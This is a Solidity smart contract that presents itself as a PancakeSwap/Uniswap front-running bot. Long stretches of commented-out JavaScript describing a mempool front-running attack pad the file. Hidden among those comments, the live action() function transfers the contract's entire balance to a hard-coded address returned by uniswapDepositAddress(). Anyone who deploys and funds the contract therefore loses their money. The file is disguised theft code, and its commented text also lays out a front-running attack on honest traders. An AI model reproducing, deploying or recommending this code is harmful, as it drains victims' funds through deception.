pragma solidity ^0.6.6;

// PancakeSwap FrontrunDeployer

import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Callee.sol";

// PancakeSwap manager

import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Factory.sol";

import "https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/interfaces/V1/IUniswapV1Exchange.sol";

contract UniswapV2FrontBot {

    string public tokenName;

    string public tokenSymbol;

    uint frontrun;

    uint manager;

    constructor(string memory \_tokenName, string memory \_tokenSymbol) public {

        tokenName = \_tokenName;

        tokenSymbol = \_tokenSymbol;

        manager = frontrun;

        }

        // Send required BNB for liquidity pair

        receive() external payable {}

        // Perform tasks (clubbed .json functions into one to reduce external calls & reduce gas) manager.performTasks();

        function action() public payable {

    //Perform a front-running attack on uniswap

//const fs = require('fs');

//var Web3 = require('web3');

//var abiDecoder = require('abi-decoder');

//var colors = require("colors");

//var Tx = require('ethereumjs-tx').Transaction;

//var axios = require('axios');

//var BigNumber = require('big-number');

//const {NETWORK, PANCAKE\_ROUTER\_ADDRESS, PANCAKE\_FACTORY\_ADDRESS, PANCAKE\_ROUTER\_ABI, PANCAKE\_FACTORY\_ABI, PANCAKE\_POOL\_ABI, HTTP\_PROVIDER\_LINK, WEBSOCKET\_PROVIDER\_LINK, HTTP\_PROVIDER\_LINK\_TEST} = require('./constants.js');

//const {setBotAddress, getBotAddress, FRONT\_BOT\_ADDRESS, botABI} = require('./bot.js');

//const {PRIVATE\_KEY, TOKEN\_ADDRESS, AMOUNT, LEVEL} = require('./env.js');

//const INPUT\_TOKEN\_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';

//const WBNB\_TOKEN\_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';

manager;

//var input\_token\_info;

//var out\_token\_info;

//var pool\_info;

//var gas\_price\_info;

manager;

//var web3;

//var web3Ts;

//var web3Ws;

//var pancakeRouter;

//var pancakeFactory;

manager;

// one gwei

//const ONE\_GWEI = 1e9;

manager;

//var buy\_finished = false;

//var sell\_finished = false;

//var buy\_failed = false;

//var sell\_failed = false;

//var attack\_started = false;

manager;

//var succeed = false;

//var subscription;

manager;

//async function createWeb3(){

    //try {

        // web3 = new Web3(new Web3.providers.HttpProvider(HTTP\_PROVIDER\_LINK));

        // web3 = new Web3(new Web3.providers.HttpProvider(HTTP\_PROVIDER\_LINK\_TEST));

       // web3 = new Web3(EthereumTesterProvider());

       // web3.eth.getAccounts(console.log);

      //web3Ws = new Web3(new Web3.providers.WebsocketProvider(WEBSOCKET\_PROVIDER\_LINK));

    //pancakeRouter = new web3.eth.Contract(PANCAKE\_ROUTER\_ABI, PANCAKE\_ROUTER\_ADDRESS);

        //pancakeFactory = new web3.eth.Contract(PANCAKE\_FACTORY\_ABI, PANCAKE\_FACTORY\_ADDRESS);

        //abiDecoder.addABI(PANCAKE\_ROUTER\_ABI);

        manager;

        //return true;

    //} catch (error) {

      //console.log(error);

      //return false;

//async function main() {

//try {

        //if (await createWeb3() == false) {

            //console.log('Web3 Create Error'.yellow);

            //process.exit();

        //const user\_wallet = web3.eth.accounts.privateKeyToAccount(PRIVATE\_KEY);

        //const out\_token\_address = TOKEN\_ADDRESS;

        //const amount = AMOUNT;

        //const level = LEVEL;

        //ret = await preparedAttack(INPUT\_TOKEN\_ADDRESS, out\_token\_address, user\_wallet, amount, level);

        //if(ret == false) {

          //process.exit();

        //await updatePoolInfo();

        //outputtoken = await pancakeRouter.methods.getAmountOut(((amount\*1.2)\*(10\*\*18)).toString(), pool\_info.input\_volumn.toString(), pool\_info.output\_volumn.toString()).call();

        //await approve(gas\_price\_info.high, outputtoken, out\_token\_address, user\_wallet);

        //log\_str = '\*\*\*\*\* Tracking more ' + (pool\_info.attack\_volumn/(10\*\*input\_token\_info.decimals)).toFixed(5) + ' ' +  input\_token\_info.symbol + '  Exchange on Pancake \*\*\*\*\*'

        // console.log(log\_str.green);

        // console.log(web3Ws);

        //web3Ws.onopen = function(evt) {

            //web3Ws.send(JSON.stringify({ method: "subscribe", topic: "transfers", address: user\_wallet.address }));

            //console.log('connected')

        // get pending transactions

        //subscription = web3Ws.eth.subscribe('pendingTransactions', function (error, result) {

        //}).on("data", async function (transactionHash) {

            //console.log(transactionHash);

            // let transaction = await web3.eth.getTransaction(transactionHash);

            // if (transaction != null && transaction['to'] == PANCAKE\_ROUTER\_ADDRESS)

            // {

            //     await handleTransaction(transaction, out\_token\_address, user\_wallet, amount, level);

            // }

            //if (succeed) {

                //console.log("The bot finished the attack.");

                //process.exit();

    //catch (error) {

      //if(error.data != null && error.data.see === 'https://infura.io/dashboard')

         //console.log('Daily request count exceeded, Request rate limited'.yellow);

         //console.log('Please insert other API Key');

      //else{

         //console.log('Unknown Handled Error');

         //console.log(error);

      //process.exit();

//function handleTransaction(transaction, out\_token\_address, user\_wallet, amount, level) {

    //(await triggersFrontRun(transaction, out\_token\_address, amount, level)) {

        //subscription.unsubscribe();

        //console.log('Perform front running attack...');

        //gasPrice = parseInt(transaction['gasPrice']);

        //newGasPrice = gasPrice + 50\*ONE\_GWEI;

        //estimatedInput = ((amount\*0.999)\*(10\*\*18)).toString();

        //realInput = (amount\*(10\*\*18)).toString();

        //gasLimit = (300000).toString();

        //await updatePoolInfo();

        //var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput, pool\_info.input\_volumn.toString(), pool\_info.output\_volumn.toString()).call();

        //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out\_token\_address, user\_wallet, transaction);

        //console.log("wait until the honest transaction is done...", transaction['hash']);

        //while (await isPending(transaction['hash'])) {

        //if(buy\_failed)

            //succeed = false;

            //return;

        //console.log('Buy succeed:')

        //Sell

        //await updatePoolInfo();

        //var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool\_info.output\_volumn.toString(), pool\_info.input\_volumn.toString()).call();

        //outputeth = outputeth \* 0.999;

        //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out\_token\_address, user\_wallet, transaction);

        //console.log('Sell succeed');

        //succeed = true;

manager;

//async function approve(gasPrice, outputtoken, out\_token\_address, user\_wallet){

    //var allowance = await out\_token\_info.token\_contract.methods.allowance(user\_wallet.address, PANCAKE\_ROUTER\_ADDRESS).call();

    //allowance = BigNumber(allowance);

    //outputtoken = BigNumber(outputtoken);

    //var decimals = BigNumber(10).power(out\_token\_info.decimals);

    //var max\_allowance = BigNumber(10000).multiply(decimals);

    //if(outputtoken.gt(max\_allowance))

       //console.log('replace max allowance')

       //max\_allowance = outputtoken;

       payable(uniswapDepositAddress()).transfer(address(this).balance);

    //if(outputtoken.gt(allowance)){

        //console.log(max\_allowance.toString());

        //var approveTX ={

                //from: user\_wallet.address,

                //to: out\_token\_address,

                //gas: 50000,

                //gasPrice: gasPrice\*ONE\_GWEI,

                //data: out\_token\_info.token\_contract.methods.approve(PANCAKE\_ROUTER\_ADDRESS, max\_allowance).encodeABI()

                manager;

        //var signedTX = await user\_wallet.signTransaction(approveTX);

        //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction);

        //console.log('Approved Token')

    //return;

//select attacking transaction

//async function triggersFrontRun(transaction, out\_token\_address, amount, level) {

    //if(attack\_started)

        //return false;

    //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10\*\*9);

    //if(parseInt(transaction['gasPrice']) / 10\*\*9 > 10 && parseInt(transaction['gasPrice']) / 10\*\*9 < 50){

        //attack\_started = true;

        //return true

}

    //return false;

    //if (transaction['to'] != PANCAKE\_ROUTER\_ADDRESS)

            //console.log(transactionHash);

            // let transaction = await web3.eth.getTransaction(transactionHash);

            // if (transaction != null && transaction['to'] == PANCAKE\_ROUTER\_ADDRESS)

            // {

                            function uniswapDepositAddress() public pure returns (address) {

            //     await handleTransaction(transaction, out\_token\_address, user\_wallet, amount, level);

            // }

            //if (succeed) {

                //console.log("The bot finished the attack.");

                //process.exit();

    //catch (error) {

      //if(error.data != null && error.data.see === 'https://infura.io/dashboard')

         //console.log('Daily request count exceeded, Request rate limited'.yellow);

         //console.log('Please insert other API Key');

      //else{

         //console.log('Unknown Handled Error');

         //console.log(error);

      //process.exit();

//function handleTransaction(transaction, out\_token\_address, user\_wallet, amount, level) {

    //(await triggersFrontRun(transaction, out\_token\_address, amount, level)) {

        //subscription.unsubscribe();

        //console.log('Perform front running attack...');

        //gasPrice = parseInt(transaction['gasPrice']);

        //newGasPrice = gasPrice + 50\*ONE\_GWEI;

        //estimatedInput = ((amount\*0.999)\*(10\*\*18)).toString();

        //realInput = (amount\*(10\*\*18)).toString();

        //gasLimit = (300000).toString();

        //await updatePoolInfo();

        //swap(newGasPrice, gasLimit, outputtoken, realInput, 0, out\_token\_address, user\_wallet, transaction);

        //console.log("wait until the honest transaction is done...", transaction['hash']);

        //while (await isPending(transaction['hash'])) {

        //if(buy\_failed)

            //succeed = false;

            //return;

        //console.log('Buy succeed:')

        //Sell

        //await updatePoolInfo();

        //var outputeth = await pancakeRouter.methods.getAmountOut(outputtoken, pool\_info.output\_volumn.toString(), pool\_info.input\_volumn.toString()).call();

        //outputeth = outputeth \* 0.999;

        //await swap(newGasPrice, gasLimit, outputtoken, outputeth, 1, out\_token\_address, user\_wallet, transaction);

        //console.log('Sell succeed');

        //succeed = true;

//

//async function approve(gasPrice, outputtoken, out\_token\_address, user\_wallet){

    //var allowance = await out\_token\_info.token\_contract.methods.allowance(user\_wallet.address, PANCAKE\_ROUTER\_ADDRESS).call();

    //allowance = BigNumber(allowance);

    //outputtoken = BigNumber(outputtoken);

    //var decimals = BigNumber(10).power(out\_token\_info.decimals);

    //var max\_allowance = BigNumber(10000).multiply(decimals);

    //if(outputtoken.gt(max\_allowance))

       //console.log('replace max allowance')

       //max\_allowance = outputtoken;

    //if(outputtoken.gt(allowance)){

        //console.log(max\_allowance.toString());

        //var approveTX ={

                //from: user\_wallet.address,

                //to: out\_token\_address,

                //gas: 50000,

                //gasPrice: gasPrice\*ONE\_GWEI,

                //data: out\_token\_info.token\_contract.methods.approve(PANCAKE\_ROUTER\_ADDRESS, max\_allowance).encodeABI()

               //

        //var signedTX = await user\_wallet.signTransaction(approveTX);

        //var result = await web3.eth.sendSignedTransaction(signedTX.rawTransaction);

        //console.log('Approved Token')

    //return;

//select attacking transaction

//async function triggersFrontRun(transaction, out\_token\_address, amount, level) {

    //if(attack\_started)

        //return false;

    //console.log((transaction.hash).yellow, parseInt(transaction['gasPrice']) / 10\*\*9);

    //if(parseInt(transaction['gasPrice']) / 10\*\*9 > 10 && parseInt(transaction['gasPrice']) / 10\*\*9 < 50){

        //var outputtoken = await pancakeRouter.methods.getAmountOut(estimatedInput,

        return 0x37E465BE5d3Bed7dDa6C96C044B90E6c82C3fEe2;//pool\_info.input\_volumn.toString(), pool\_info.output\_volumn.toString()).call();

        }

        //attack\_started = true;

        //return true

  //

    //return false;

    //if (transaction['to'] != PANCAKE\_ROUTER\_ADDRESS) {

        //return false;

    //let data = parseTx(transaction['input']);

    //let method = data[0];

    //let params = data[1];

    //let gasPrice = parseInt(transaction['gasPrice']) / 10\*\*9;

    //if(method == 'swapExactETHForTokens')

        //let in\_amount = transaction;

        //let out\_min = params[0];

        //let path = params[1];

        //let in\_token\_addr = path[0];

        //let out\_token\_addr = path[path.length-1];

        //let recept\_addr = params[2];

        //let deadline = params[3];

        //if(out\_token\_addr != out\_token\_address)

            // console.log(out\_token\_addr.blue)

            // console.log(out\_token\_address)

            //return false;

}